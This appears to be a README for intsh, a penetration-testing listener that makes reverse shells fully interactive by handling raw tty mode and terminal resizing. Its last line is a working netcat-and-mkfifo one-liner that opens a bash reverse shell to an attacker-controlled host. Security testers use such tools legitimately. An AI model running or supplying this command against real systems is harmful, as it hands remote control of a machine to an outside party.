Grab a fully interactive reverse-shell
intsh is a reverse-shell listener for pentesters too lazy to make their interactive reverse shell manually.
intsh automates the process of spinning up a listening socket, setting the tty to raw mode, setting the columns and rows, handling terminal resizes and then restoring the terminal to it's original state when the reverse-shell is closed.
It ensures interactive programs like vim can be used flawlessly through reverse-shells.
Python is required on the target side.
Local-side (listener):
python3 intsh.py <port>
Remote-side:
rm -f f; mkfifo f; <f nc <attacker-ip> <attacker-port> | bash > f